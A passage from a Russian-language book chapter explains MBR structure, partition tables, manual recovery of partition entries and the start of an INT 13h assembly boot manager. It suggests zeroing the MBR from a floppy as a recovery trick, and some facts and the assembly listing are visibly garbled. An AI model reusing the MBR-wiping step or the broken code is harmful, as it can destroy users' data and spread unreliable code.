Один физический диск может быть разбит на несколько логических, каждый из которых последовательно нумеруется от первого до последнего сектора либо "сквозной" адресацией, либо по схеме CHS. В некоторых случаях Windows требует задания абсолютного номера сектора (который на самом деле отнюдь не абсолютный, а относительный, отсчитывающийся от стартового сектора раздела), в других — ожидает увидеть "святую троицу" (цилиндр, головку, сектор), опять-таки, отсчитывающихся от стартового сектора. Так, если раздел начинается с адреса 123/15/62, то первой его головкой все равно будет головка 0!

На уровне файловой системы операционная система адресует диск кластерами (cluster). Каждый кластер образован непрерывной последовательностью секторов, количество которых равно степени двойки (1, 2, 4, 8, …). Размер кластера задается на этапе форматирования диска и в дальнейшем уже не меняется. Основное назначение кластеров — уменьшение фрагментации файлов и уменьшение разрядности служебных файловых структур. В частности, FAT 16 нумерует кластеры двойными словами, и потому может адресовать не более 10000h*sizeof(cluster) дискового пространства. Легко видеть, что уже на 80-гигабайтном диске размер кластера составляет 1 Мбайт, и десяток файлов, каждый из которых имеет размер 1 байт, займут 10 Мбайт! Это впечатляет, не правда ли? Файловая система NTFS, оперирующая 64-битными величинами, не страдает подобными ограничениями, и типичная величина кластера, выбираемая по умолчанию, составляет всего 4 сектора. В отличие от секторов, кластеры нумеруются, начиная с нуля.

Главная загрузочная запись

Первые жесткие диски имели небольшой размер и форматировались практически так же, как и дискеты. Однако их объемы стремительно росли, и MS- DOS была уже не в состоянии полностью их адресовать. Для преодоления этого ограничения был введен механизм разделов (partitions), позволяющий разбивать один физический диск на несколько логических. Каждый из логических дисков имеет собственную файловую систему и форматируется независимо от других. За счет чего это достигается?

В первом секторе физического диска (цилиндр 0/головка 0/сектор 1) хранится специальная структура данных — главная загрузочная запись (Master Boot Record, MBR). Она состоит из двух основных частей — первичного загрузчика (master boot code) и таблицы разделов (partition table), описывающей схему разбиения и геометрию каждого из логических дисков. Схематичное изображение жесткого диска, разбитого на разделы, представлено на рис. 5.1. В конце сектора по смещению 1FE находится сигнатура 55h AAh, по которой BIOS определяет признак "загрузочности" сектора. Даже если вы не хотите дробить свой винчестер на части и форматируете его как один диск, присутствие MBR обязательно.

Рис. 5.1. Схематичное представление жесткого диска, разбитого на разделы

При старте компьютера BIOS выбирает загрузочный диск. Как правило, это Primary Master, но порядок загрузки в большинстве современных реализаций BIOS можно изменять. Наиболее продвинутые реализации даже выводят интерактивное меню при нажатии и удержании клавиши <ESC> во время прохождения процесса первоначального тестирования при включении (Power- On Self-Test, POST). Затем BIOS считывает первый сектор (цилиндр 0/головка 0/сектор 1) в память по адресу 0000h:7C00h, проверяет наличие сигнатуры 55h AAh в его конце, и, если такая сигнатура действительно обнаруживается, передает управление по адресу 0000h:7C00h. В противном случае анализируется следующее загрузочное устройство, а в случае его отсутствия выдается сообщение об ошибке.

Первичный загрузчик, получив управление, сканирует уже загруженную в память таблицу разделов, находит активный раздел (Boot indicator == 80h), извлекает номер стартового сектора раздела, так же называемого загрузочным сектором (boot-sector). Затем загрузчик перемещает свое тело по другому адресу, чтобы избежать затирания, загружает boot-сектор в память по адресу 0000h:7C00h, убеждается в наличии сигнатуры 55h AAh и передает управление на 0000h:7C00h, в противном случае выдается сообщение об ошибке, и после нажатия на любую клавишу компьютер перезагружается. Ряд нестандартных загрузчиков, выходящих за стандартные спецификации Microsoft, поддерживают несколько активных разделов, последовательно перебирая их один за другим.

Если первичный загрузчик поврежден, то BIOS не сможет запустить операционную систему с такого диска, однако при подключении его "вторым" (или при загрузке с дискеты) все логические диски будут доступны. Как минимум, они должны быть "видимы", то есть команды C:, D:, E: должны выполняться нормально, хотя работоспособность команды dir уже не гарантируется. Для того чтобы это было именно так, необходимо соблюдение следующих двух условий:

1. Во-первых, файловая система соответствующего раздела должна быть известна загруженной операционной системе и не повреждена.

2. Во-вторых, загрузочный сектор должен быть в целости и сохранности (данный вопрос будет обсуждаться далее в этой главе).

Таблица разделов, которую анализирует первичный загрузчик (master boot code), а чуть позже — драйвер логических дисков операционной системы, состоит из четырех записей размером по 10h каждая, расположенных по смещениям 1BEh, 1CEh, 1DEh, и 1EEh байт от начала диска соответственно. Каждая из них описывает свой логический раздел, задавая его стартовый и конечный сектора, записанные в формате CHS.

Внимание!

Даже если диск работает в режиме LBA, разделы все равно адресуются через CHS!

Поле относительного смещения раздела, отсчитываемое от начала таблицы разделов, является вспомогательным, и его избыточность очевидна. То же самое относится и полю, содержащему значение общего количества секторов на диске, так как очевидно, что это значение может быть вычислено на основе стартового и конечного секторов. Одни операционные системы и загрузчики игнорируют вспомогательные поля, другие же их активно используют. Именно поэтому содержимое этих полей должно соответствовать действительности.

Поле идентификатора диска содержит уникальную 32-разрядную последовательность, помогающую операционной системе отличить один смонтированный диск от другого, и автоматически копируемую в следующий ключ реестра: HKLM\SYSTEM\MountedDevices. На самом деле Windows свободно обходится и без него, поэтому содержимое данного поля некритично.

Поле Boot ID содержит идентификатор файловой системы, установленной на разделе. В случае NTFS этот идентификатор равен 07h. За динамическими дисками, согласно фирменной спецификации, закреплен идентификатор 42h.

На практике это справедливо лишь для тех из них, которые были получены путем обновления (update) обычного (basic) раздела до динамического (dynamic) тома. Сведения об остальных динамических дисках в таблице разделов не хранятся, а содержатся в последнем мегабайте физического диска в базе данных менеджера логических дисков (Logical Disk Manager, LDM). Для стандартных дисковых менеджеров эта информация недоступна. При установке операционной системы семейства Windows 9x или одного из клонов UNIX на винчестер, содержащий динамические диски, они могут быть необратимо утеряны, так как, согласно таблице разделов, занятое ими пространство помечено как свободное. Тем не менее, загрузочный логический диск (независимо от того, динамический он или нет) в обязательном порядке должен присутствовать в таблице разделов, иначе BIOS не сможет его загрузить.

Четыре записи таблицы разделов позволяют иметь всего четыре логических диска (см. рис. 5.1). Этого явно недостаточно, но расширение таблицы разделов оказалось невозможным, так как последняя запись упирается в конец сектора. Разработчики сочли нежелательным использовать следующий сектор, поскольку он активно используется многими вирусами и нестандартными драйверами. К тому же, это все равно не позволяет решить проблему радикально, а лишь оттягивает неизбежный конец. Тогда инженеры нашли другое решение, предложив концепцию расширенных разделов (Extended partition). Если значение индикатора загрузки (boot ID) некоторого раздела равно 05h или 0Fh, то такой раздел трактуется как "виртуальный физический диск", с собственной таблицей разделов, расположенной в его начале, на которую и указывает стартовый сектор расширенного раздела (рис. 5.2). Иначе говоря, таблица разделов получается вложенной, и уровень вложения ограничен разве что свободным дисковым пространством и объемом стековой памяти загрузчика (при условии, что он использует рекурсивный алгоритм сканирования). Таким образом, таблица разделов как бы "размазывается" вдоль винчестера (рис. 5.3). Большинство утилит резервирования сохраняют лишь первый сектор, чего явно недостаточно (впрочем, первый сектор гибнет намного чаще других, так что даже плохая политика резервирования лучше, чем совсем ничего).

Рис. 5.2. Структурная схема типичного жесткого диска, содержащая главные (primary) и расширенные (extended) разделы

Рис. 5.3. Расширенная таблица разделов

Штатные утилиты для разбиения диска на разделы (FDISK.EXE, Disk Manager) при создании логических дисков на расширенном разделе создают расширенную таблицу разделов с четырьмя записями: одна используется для описания логического раздела, вторая описывает еще один (следующий) логический раздел, а две не используются. Таким образом, получается "цепочка" таблиц разделов, в которой первая таблица разделов описывает от одного до трех основных (primary) разделов, а каждая следующая — соответствующий ей логический диск и положение следующей таблицы разделов (рис. 5.3).

Таким образом, при разбиении винчестера на четыре логических диска на нем образуются четыре таблицы разделов (см. листинг 5.4), хотя в данном случае можно было бы обойтись и одной. Штатный загрузчик требует, чтобы активный раздел описывался первой записью первой таблицы разделов, вследствие чего операционная система может грузиться только с диска С:. Нестандартные менеджеры загрузки, анализирующие всю цепочку разделов, позволяют загружаться с любого из разделов. Самые честные из них создают в первой таблице разделов еще один раздел (благо, если диск был разбит с помощью программы FDISK, то свободное место там всегда есть), назначают его активным и помещают в него свое тело. Другие же внедряются непосредственно в MBR и замещают собой первичный загрузчик, что создает очевидные проблемы совместимости.

Листинг 5.4. Пример таблицы разделов, сформированной программой FDISK

Sector Inspector Copyright Microsoft Corporation 2003

==================================================================

Target - \\.\PHYSICALDRIVE0

         1867 Cylinders

          255 Heads

           63 Sectors Per Track

          512 BytesPerSector

           12 MediaType

LBN 0 [С 0, H 0, S 1]

==================================================================

                     Master Boot Record

==================================================================

| B | FS TYPE |     START    |      END     |          |         |

| F | (hex)   |   C    H    S|   C    H    S| RELATIVE |  TOTAL  |

==================================================================

| * |   07    |   0    1    1| 764  254   63|        63| 12289662|

|   |   0f    | 765    0    1|1023  254   63|  12289725| 17687565|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

==================================================================

LBN 12289725 [C 765, H 0, S 1]

==================================================================

                  Extended Boot Record

==================================================================

| B | FS TYPE |    START     |     END      |          |         |

| F | (hex)   |   C    H    S|   C    H    S| RELATIVE |  TOTAL  |

==================================================================

|   |   07    | 765    1    1|1023  254   63|        63|  8193087|

|   |   05    |1023    0    1|1023  254   63|   8193150|  4096575|

|   |   00    |   0    0    0|   0   0     0|         0|        0|

|   |   00    |   0    0    0|   0   0     0|         0|        0|

==================================================================

LBN 20482875 [C 1275, H 0, S 1]

==================================================================

                  Extended Boot Record

==================================================================

| B | FS TYPE |    START     |     END      |          |         |

| F | (hex)   |   C    H    S|   C    H    S| RELATIVE |  TOTAL  |

==================================================================

|   |   07    |1023    1    1|1023  254   63|        63|  4096512|

|   |   05    |1023    0    1|1023  254   63|  12289725|  5397840|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

==================================================================

LBN 24579450 [С 1530, H 0, S 1]

==================================================================

                  Extended Boot Record

==================================================================

| B | FS TYPE |    START     |     END      |          |         |

| F | (hex)   |   C    H    S|   C    H    S| RELATIVE |  TOTAL  |

==================================================================

|   |   07    |1023    1    1|1023  254   63|        63|  5397777|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

|   |   00    |   0    0    0|   0    0    0|         0|        0|

==================================================================

Если таблица разделов повреждена, логические диски, скорее всего, будут полностью недоступны — они не будут отображаться ни Проводником Windows (Windows Explorer), ни файловым менеджером FAR, а команда C: вызовет ошибку. Искажение таблицы разделов не приводит к немедленному изменению объема уже отформатированных томов, так как эта информация хранится в загрузочном секторе (boot sector). Однако при последующим переформатировании произойдет затирание данных из соседнего раздела, или же текущий раздел окажется усеченным. Кстати говоря, если расширенный раздел указывает сам на себя или на один из предшествующих разделов в цепочке, то все известные мне операционные системы наглухо зависнут еще на этапе загрузки, даже если диск подключен "вторым". Чтобы исправить ситуацию, необходимо запустить редактор диска или другую утилиту, а для этого необходимо загрузить операционную систему! Существует несколько путей выхода из этой, казалось бы, неразрешимой ситуации. Самый простой вариант — горячее подключение диска "на лету" с последующей работой с ним через BIOS или порты ввода/вывода. Если и диск, и материнская плата переживут это (а для устройств IDE подключение "на лету" представляется довольно жестким испытанием), то вы сможете запустить доктора и работать с диском на физическом уровне. Другой, чисто хакерский, путь — пропатчить MS-DOS, изменив сигнатуру 55h AAh на какое-нибудь другое значение, тогда она не сможет распознать таблицу разделов и, соответственно, не станет ее анализировать. Как вариант, можно записать в boot-сектор дискеты специально подготовленную программу, которая обнуляет MBR или искажает сигнатуру, расположенную в его конце. Просто загрузитесь с нее и все!

Воспользовавшись любым редактором диска (например, Microsoft Disk Probe из комплекта Resource Kit), считаем первый сектор физического диска. Он должен выглядеть приблизительно так, как показано на рис. 5.4.

Рис. 5.4. Внешний вид MBR

Не правда ли, MBR выглядит как знаменитая Матрица? Ее формат кратко описан в таблице 5.1.

Таблица 5.1. Формат MBR

Смещение	Размер	Описание
0x000	перемен.	Код загрузчика
0x1BB	4h	Идентификатор диска
0x1BE	10h	Partition 1
0x1CE	10h	Partition 2
0x1DE	10h	Partition 3
0x1EE	10h	Partition 4
0x1FE	0x2	"Магическое число" — сигнатура 55h AAh, которое указывает, что данный сектор представляет собой MBR

Первые 1BBh байт занимают код и данные загрузчика, среди которых отчетливо выделяются текстовые строки.

Примечание

Кстати говоря, локализовав сообщения загрузчика в национальных версиях Windows, например, в русской, Microsoft допустила грубейшую стратегическую ошибку. Ведь в BIOS нет никаких кириллических шрифтов, поэтому русские символы выглядят бессмысленной абракадаброй.

По смещению 1BBh расположен четырехбайтовый идентификатор диска, принудительно назначаемый Windows при запуске Disk Manager. Коварство Microsoft не знает границ! Еще со времен первых IBM PC (тогда они назывались XT) загрузчик владел первыми 1BEh байтами MBR, и достаточно многие загрузчики (и вирусы!) использовали эти байты на полную катушку. Нетрудно сообразить, что произойдет, если внутрь загрузчика вдруг запишется идентификатор. Это убьет его! Поэтому байты 1BBh–1BEh лучше не трогать.

Со смещения 1BEh начинается таблица разделов, представляющая собой массив из четырех записей типа partition. Каждая из этих записей описывает свой логический диск, что позволяет нам создавать до четырех разделов на каждом HDD. Формат записи таблицы разделов представлен в табл. 5.2. Динамические диски, впервые появившиеся в Windows 2000, хранятся в базе данных Менеджера Логических Дисков (Logical Disk Manager Database), и в таблице разделов присутствовать не обязаны.

Таблица 5.2. Формат записи таблицы разделов

Смещение					Размер	Описание
000	1ВЕ	1CE	1DE	1EE	byte	Флаг активного загрузочного раздела (Boot Indicator). 80h — загрузочный раздел, 00h — незагрузочный раздел
001	1BF	1CF	1DF	1EF		Стартовая головка раздела
002	1C0	1D0	1E0	1F0	byte	Стартовый сектор раздела (биты 0–5). Старшие биты стартового цилиндра (биты 6–7)
003	1C1	1D1	1E1	1F1	byte	Младшие биты стартового цилиндра (биты 0–7)
004	1C2	1D2	1E2	1F2	byte	Идентификатор системы (Boot ID), см. табл. 5.3
005	1C3	1D3	1E3	1F3	byte	Конечная головка раздела
006	1С4	1D4	1E4	1F4	byte	Конечный сектор раздела (биты 0–5). Старшие биты конечного цилиндра (биты 6–7)
007	1C5	1D5	1E5	1F5		Младшие биты конечного цилиндра (биты 0–7)
008	1C6	1D6	1E6	1F6	dword	Смещение раздела относительно начала таблицы разделов в секторах
00C	1CA	1DA	1EA	1FA	dword	Количество секторов раздела

Таблица 5.3. Возможные значения Boot ID

Boot ID	Тип раздела
00h	Раздел свободен
0x01	Раздел FAT12 (менее чем 32 680 секторов в томе или 16 Мбайт)
0x04	Раздел FAT16 (32 680–65 535 секторов или 16–33 Мбайт)
0x05	Расширенный раздел (extended partition)
0x06	Раздел BIGDOS FAT16 (33 Мбайт–4 Гбайт)
0x07	Раздел NTFS
0x0B	Раздел FAT32
0x0C	Раздел FAT32 с поддержкой расширенной BIOS INT 13h
0x0E	Раздел BIGDOS FAT16 с поддержкой расширенной BIOS INT 13h
0x0F	Расширенный раздел с поддержкой расширенной BIOS INT 13h
0x12	Раздел EISA
0x42	Динамический диск
0x86	Раздел legacy FT FAT16
0x87	Раздел legacy FT NTFS
0x8B	Наследуемый отказоустойчивый том, отформатированный для FAT32 (Legacy FT volume formatted with FAT32)
0x8C	Наследуемый отказоустойчивый том с поддержкой BIOS INT 13h, отформатированный для FAT32 (Legacy FT volume using BIOS INT 13h extensions formatted with FAT32)

Техника восстановления главной загрузочной записи

Существует множество утилит для автоматического восстановления первичного загрузчика и таблицы разделов, к числу которых относятся, например, GetDataBack, Easy Recovery, Active@Data Recovery Software и др. До поры до времени они вполне успешно справлялись со своей задачей, восстанавливая даже полностью уничтоженные таблицы разделов, однако с появлением емких дисков, преодолевших барьер в 2 Гбайт с помощью всевозможных расширений, они стали часто путаться. Поэтому и доверять им больше нельзя. Если не хотите потерять свои данные — восстанавливайте MBR самостоятельно (тем более что это достаточно простая операция, не требующая особой квалификации). Восстановление значительно упрощается, если в вашем распоряжении имеется копия таблицы разделов, снятая с помощью Sector Inspector или любой другой подобной утилиты. К сожалению, чаще всего ее под рукой не оказывается…

Если операционная система отказывается загружаться, а на экране появляется сообщение BIOS, выглядящее примерно следующим образом:

Disk Boot failure, Non-System disk or disk error...

Press <Enter> to restart то это указывает на разрушение сигнатуры 55h AAh, обычно сопровождаемое смертью первичного загрузчика.

Примечание

Очень важно отличать сообщение BIOS от сообщений первичного загрузчика и загрузочного сектора. Зайдите в BIOS Setup и отключите все загрузочные устройства, оставив активным только диск A: (и не забудьте извлечь из него дискету). А теперь перезагрузитесь и запомните, какое сообщение появится на экране. Это и будет "ругательством" BIOS.

Восстановить сигнатуру 55h AAh можно в любом дисковом редакторе. Когда будете это делать, убедитесь, что в начале диска присутствует осмысленный код первичного загрузчика (master boot code).

Рекомендация

Если вы испытываете затруднение с дизассемблированием в уме, воспользуйтесь IDA PRO или HIEW. Вы не умеете дезассемблировать? Тогда попробуйте оценить степень "нормальности" первичного загрузчика визуально (однако для этого опять-таки требуется опыт работы с кодом). В начале более или менее стандартного загрузчика расположено приблизительно 100h байт машинного кода, в котором обнаруживаются последовательности: 00 7C, 1B 7C, BE 07, CD 13, CD 18, CD 10, 55 AA, а затем идут характерные текстовые сообщения: Invalid partition table, Error loading operating system, Missing operating system (см. рис. 5.4). Если загрузчик поврежден, но сигнатура 55 AA цела, то попытка загрузки с такого диска обернется неизменным зависанием.

Восстановить искореженный первичный загрузчик можно с помощью утилиты FDISK.EXE, запущенной с ключом /MBR, записывающей в главную загрузочную запись первого диска стандартный код первичного загрузчика (master boot code). Недокументированный ключ /CMBR, появившийся в MS-DOS 7.0, позволяет выбирать любой из подключенных дисков. В Windows 2000 и более новых версиях этого же результата можно добиться, загрузив консоль восстановления и дав команду FIXMBR.

Внимание!

Если вы использовали нестандартный загрузчик (например, LILO), то после перезаписи MBR сможете загружаться только с основного раздела, а для запуска операционных систем из других разделов вам придется переустановить свой мультизагрузочный менеджер. Кстати говоря, такой менеджер можно написать и самостоятельно. При наличии HIEW, а еще лучше — транслятора ассемблера — работа не займет и получаса.

Как уже говорилось, некоторые загрузчики изменяют схему трансляции адресов жесткого диска, поэтому со штатным загрузчиком такой диск окажется неработоспособен. Попробуйте переустановить загрузчик с дистрибутивных дисков — быть может, это поможет. В противном случае ничего не остается, как писать свой собственный загрузчик, определять текущую геометрию диска и соответствующим образом транслировать секторные адреса. Это — довольно сложная задача, требующая серьезной подготовки, и здесь ее лучше не обсуждать.

Если загрузчик выводит сообщение Invalid partition table, то это еще не значит, что таблица разделов действительно повреждена. Вполне возможно, что на самом деле таблица разделов цела, но просто ни один из основных разделов не назначен активным. Такое случается при использовании нестандартных загрузчиков, загружающих операционную систему из расширенного раздела. После выполнения команды FDISK /MBR или при установке операционной системы, автоматически заменяющий первичный загрузчик своим собственным, этот новый загрузчик не обнаружит в пределах досягаемости ни одного активного раздела, и, что вполне естественно, сигнализирует вам об этом. Такое поведение, в частности, характерно для Windows 98. Для решения проблемы либо восстановите прежний загрузчик, либо установите операционную систему на первичный раздел и, запустив FDISK, сделайте его активным.

Загрузитесь с системной дискеты (другого винчестера, CD) и проверьте, видимы ли ваши логические диски. Если да, то смело переходите к следующему пункту, в противном случае соберитесь с духом и приготовьтесь немного поработать руками и головой.

Восстановление основного раздела, созданного с помощью FDISK или Disk Manager, в большинстве случаев осуществляется элементарно, а остальные, как правило, восстанавливать и не требуется, поскольку именно MBR гибнет чаще всего, а расширенные разделы, рассредоточенные по всему диску, погибают разве что при явном удалении разделов средствами FDISK или Disk Manager.

Адрес стартового сектора первого логического диска всегда равен 0/1/1 (Cylinder/Head/Sector), относительный (Relative) сектор — количеству головок жесткого диска, уменьшенному на единицу.

Рекомендация

Сведения о геометрии диска можно почерпнуть из любого дискового редактора — например, Sector Inspector.

Конечный сектор определить несколько сложнее. Если загрузочный сектор цел (более подробно этот вопрос будет обсуждаться далее в этой главе), то узнать количество секторов в разделе (total sectors) можно на основании значения поля BootRecord.NumberSectors, увеличив его значение на единицу. Тогда номер конечного цилиндра будет равен LastCyl := Total Sectors/(Heads*SecPerTrack), где Heads — количество головок на физическом диске, a SecPerTrack — количество секторов на трек. Номер конечной головки равен LastHead := (Total Sector - (LastCyl*Heads SecPerTrack))/SecPerTrack, а номер конечного сектора равен LastSec := (Total Sector - (LastCyl*Heads SecPerTrack)) % SecPerTrack. Пропишите полученные значения в MBR и проверьте, не находится ли за вычисленным концом раздела следующий раздел? Это должна быть либо расширенная таблица разделов, либо загрузочный сектор. Если это так, создайте еще одну запись в таблице разделов, заполнив ее соответствующим образом.

А теперь зададимся вопросом; возможно ли восстановить таблицу разделов, если загрузочный сектор отсутствует, и восстановить его не представляется возможным? Это — вполне реалистичная задача. Необходимо лишь найти загрузочные сектора или расширенные таблицы разделов, принадлежащие последующим разделам. В этом вам поможет контекстный поиск. Ищите сектора, содержащие сигнатуру 55h AAh в конце. Отличить загрузочный сектор от расширенной таблицы разделов очень просто. В загрузочном секторе по смещению три байта от его начала расположен идентификатор производителя (OEM ID), например, NTFS, MSWIN4.1 и т.д. Размер текущего раздела будет на один сектор меньше. Теперь, зная размер и геометрию диска, можно рассчитать и конечный цилиндр/головку/сектор.

Имейте в виду, что Windows хранит копию загрузочного сектора, которая, в зависимости от версии, может быть расположена либо в середине раздела, либо в его конце. Другие копии могут находиться в архивных файлах и файле подкачки. Как отличить копию сектора от оригинала? Элементарно, Ватсон! Если это подлинник, то вслед за ним пойдут служебные структуры файловой системы (в частности, для NTFS это будет MFT, каждая запись которой начинается с легко узнаваемой строки FILE*). К счастью, служебные структуры файловой системы обычно располагаются на более или менее предсказуемом смещении относительно начала раздела, и, отталкиваясь от их "географического" расположения, мы можем установить размеры каждого из логических дисков, даже если все-все-все загрузочные сектора и расширенные таблицы разделов уничтожены.

Что произойдет, если границы разделов окажутся определенными неверно? Если мы переборщим, увеличив размер раздела сверх необходимого, все будет нормально работать, поскольку карта свободного пространства хранится в специальной структуре (у NTFS это файл $bitmap, а у FAT 12/32 — непосредственно сама FAT) и "запредельные" сектора будут добавлены только после переформатирования раздела. Если все что нам нужно — это скопировать данные с восстанавливаемого диска на другой носитель, то возиться с подгонкой параметров таблицы разделов не нужно! Распахните ее на весь физический диск и дело с концом!

Естественно, такой способ восстановления подходит только для первого раздела диска, а для всех последующих нам потребуется определить стартовый сектор. Это определение должно быть очень точным, поскольку все структуры файловой системы адресуются от начала логического диска, и ошибка в один-единственный сектор сделает весь этот тонкий механизм полностью неработоспособным. К счастью, некоторые из структур ссылаются сами на себя, давая нам ключ к разгадке. В частности, файлы $mft/$mftmirr содержат номер своего первого кластера. Стоит нам найти первую запись FILE*, как мы узнаем, на каком именно секторе мы сейчас находимся (конечно, при условии, что сумеем определить количество секторов на кластер, но это уже другая тема, которая более подробно будет обсуждаться далее в этой главе).

Проблема нулевой дорожки

Главная загрузочная запись жестко держит за собой первый сектор, и если он вдруг окажется разрушенным, работа с таким диском станет невозможной. Внешний вид типичного сектора MBR приведен в листинге 5.5. До недавнего времени проблема решалась посекторным копированием винчестера, переносом данных на здоровый жесткий диск с идентичной геометрией и последующим восстановлением MBR.

Сейчас ситуация изменилась. Современные винчестеры поддерживают возможность принудительного замещения плохих секторов из резервного фонда (а некоторые делают это автоматически), поэтому проблема нулевой дорожки, преследующая нас еще со времен гибких дисков и 8-разрядных машин, наконец-то перестала существовать.

Механизм замещения секторов все еще не стандартизирован. Он осуществляется утилитами, предоставляемыми производителем конкретной модели винчестера. Чаще всего они распространяются бесплатно и могут быть свободно найдены в сети.

Листинг 5.5. Внешний вид типичного сектора MBR

0x0000 eb 2e 49 50 41 52 54 20-63 6f 64 65 20 30 30 39 ы.IPART code 009

0x0010 20 2d 20 49 6f 6d 65 67-61 20 43 6f 12 70 6f 72  - Iomega Corpor

0x0020 61 74 69 6f 6e 20 2d 20-31 31 2f 32 33 2f 39 30 ation - 11/23/90

0x0030 fa fc 8c c8 8e d0 be 00-7c 8e d8 8e c0 b9 00 02 ·№М╚О╨╝.|О╪О└╣..

0x0040 bf 00 7e be 00 7c f3 a4-e9 00 02 fb bd 00 7e 8b ┐.~╛.|єдщ..√╜.~Л

0x0050 fd be be 01 b9 04 00 80-3a 80 74 0b 83 c6 10 e2 ¤╛╛.╣..А:Аt.Г╞.т

0x0060 f6 8b b5 b2 01 eb 51 56-83 c6 10 49 e3 0b 80 3a ЎЛ╡▓.ыQVГ╞.Iу.А:

0x0070 80 75 f5 8b b5 b0 01 eb-3f 5e 56 8a 12 8a 72 01 АuїЛ╡░.ы?^VК.Кr.

0x0080 8a 4a 02 8a 6a 03 bb 00-7c be 05 00 56 b8 01 02 КJ.Кj.╗.|╛..V╕..

0x0090 cd 13 73 0e 33 c0 cd 13-5e 4e 75 f0 8b b5 b4 01 ═.s.3└═.^NuЁЛ╡┤.

0x00a0 eb 16 5e be fe 7d 81 3c-55 aa 74 06 8b b5 b6 01 ы.^╛■}Б<Uкt.Л╡╢.

0x00b0 eb 06 5e 03 f5 e9 48 fd-e8 1b 00 8b b5 b8 01 e8 ы.^.їщH¤ш..Л╡╕.ш

0x00c0 14 00 b4 00 cd 16 33 c0-8е c0 26 c7 06 72 04 34 ..┤.═.3└О└&╟.r.4

0x00d0 12 ea f0 ff 00 f0 03 f5-ac 3c 00 74 0b 56 b4 0e .ъЁ .Ё.їм<.t.V┤.

0x00e0 bb 07 00 cd 10 5e eb f0-c3 49 6e 76 61 6c 69 64 ╗..═.^ыЁ├Invalid

0x00f0 20 70 61 72 74 69 74 69-6f 6e 20 74 61 62 6c 65  partition table

0x0100 00 44 69 73 6b 20 69 73-20 6e 6f 74 20 62 6f 6f .Disk is not boo

0x0110 74 61 62 6c 65 00 45 72-72 6f 72 20 6c 6f 61 64 table.Error load

0x0120 69 6e 67 20 6f 70 65 72-61 74 69 6e 67 20 73 79 ing operating sy

0x0130 73 74 65 6d 00 4d 69 73-73 69 6e 67 20 6f 70 65 stem.Missing ope

0x0140 72 61 74 69 6e 67 20 73-79 73 74 65 6d 00 0d 0a rating system...

0x0150 52 65 70 6c 61 63 65 20-61 6e 64 20 73 74 72 69 Replace and stri

0x0160 6b 65 20 61 6e 79 20 6b-65 79 20 77 68 65 6e 20 ke any key when

0x0170 72 65 61 64 79 0d 0a 00-00 00 00 00 00 00 00 00 ready...........

0x0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0x0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0x01a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 45 06 ..............E.

0x01b0 e9 00 01 01 16 01 35 01-4e 01 6a 72 a5 d5 00 00 щ.....5.N.jrе╒..

0x01c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0x01d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0x01e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 ..............A.

0x01f0 01 00 06 3f 20 5f 20 00-00 00 e0 ff 02 00 55 aa ...? _ ...p ..Uk

Создаем MBR и пишем свой менеджер мультизагрузки

В этом разделе я расскажу, как написать собственный менеджер мультизагрузки. Менеджер мультизагрузки представляет собой код, находящийся в загрузочном секторе, и по выбору пользователя загружающий любую из нескольких операционных систем, установленных на компьютере. В процессе обсуждения вы познакомитесь с прерыванием INT 13h, таблицей разделов и т.д. Стандартный загрузчик, устанавливаемый большинством операционных систем по умолчанию, слишком примитивен, чтобы его воспринимать всерьез, а нестандартные загрузчики от независимых разработчиков обычно слишком неповоротливы и ненадежны. Вот и давайте напишем свой! Пока мы будем его писать, мы познаем дао и дзен ассемблера, научимся отлаживать программы без отладчика и поближе познакомимся с низкоуровневыми интерфейсами винчестера.

Интерфейс INT 13h

Управлять дисками можно как через порты ввода/вывода, так и через BIOS. Порты намного более могущественны и интересны, однако BIOS программируется намного проще, к тому же она поддерживает большое количество разнокалиберных накопителей, абстрагируясь от конструктивных особенностей каждой конкретной модели. Поэтому будем действовать через нее, а точнее, через интерфейс прерывания INT 13h.

Попробуем прочитать сектор с диска в режиме CHS. Действовать нужно из самой MBR или из "голой" MS-DOS, иначе у нас ничего не получится, ведь Windows NT блокирует прямой доступ к диску даже из режима эмуляции MS-DOS.

Номер функции заносится в регистр AH. В случае чтения он равен двум. Регистр AL отвечает за количество обрабатываемых секторов. Так как мы собираемся читать по одному сектору за операцию, занесем сюда единицу. Регистр DH хранит номер головки, a DL — номер привода (80h — первый жесткий диск, 81h — второй и т.д.). Пять младших битов регистра CL задают номер сектора, оставшиеся биты регистра CL и восемь битов регистра CH определяют номер цилиндра, который мы хотим прочитать. Регистровая пара ES:BX указывает на адрес буфера-приемника. Вот, собственно говоря, и все. После выполнения команды INT 13h считываемые данные окажутся в буфере, а если произойдет ошибка (например, головка "споткнется" о BAD-сектор), то BIOS установит флаг переноса (carry flag), и мы будем вынуждены либо повторить попытку, либо вывести грустное сообщение на экран.

Код этой программы на языке ассемблера представлен в листинге 5.6.

Листинг 5.6. Код, считывающий загрузочный сектор или расширенную таблицу разделов

MOV SI, 1BEh ; Перейти к первому разделу

MOV AX, CS   ; Настраиваем ES

MOV ES, AX

MOV BX, buf  ; Смещение буфера

...

read_all_partitions:

 MOV AX, bud            ; Читать 1 сектор с диска

 MOV DL, 80h            ; Читать с первого диска

 MOV DH, [SI+1]         ; Стартовый номер головки

 MOV CX, [SI+2]         ; Стартовый сектор с цилиндром INT 13h

 JC error               ; Ошибка чтения

 ;Обрабатываем считанный boot-сектор или расширенную таблицу разделов

 ;===================================================================

 ;

 CMP byte [SI], 80h

 JZ LOAD_BOOT            ; Это загрузочный сектор

                         ; Передаем на него управление

 CMP byte [SI+4], 05h

 JZ LOAD_CHS_EXT         ; Это расширенная таблица разделов

                         ; в формате CHS

 CMP byte [SI+4], 0Fh

 JZ LOAD_LBA_EXT         ; Это расширенная таблица разделов

                         ; в формате LBA

 ADD SI, 10h             ; Переходим на следующий раздел

 CMP SI, 1EEh

 JNA read_all_partitions ; Читаем все разделы один за другим

... buf rb 512               ; Буфер на 512 байт

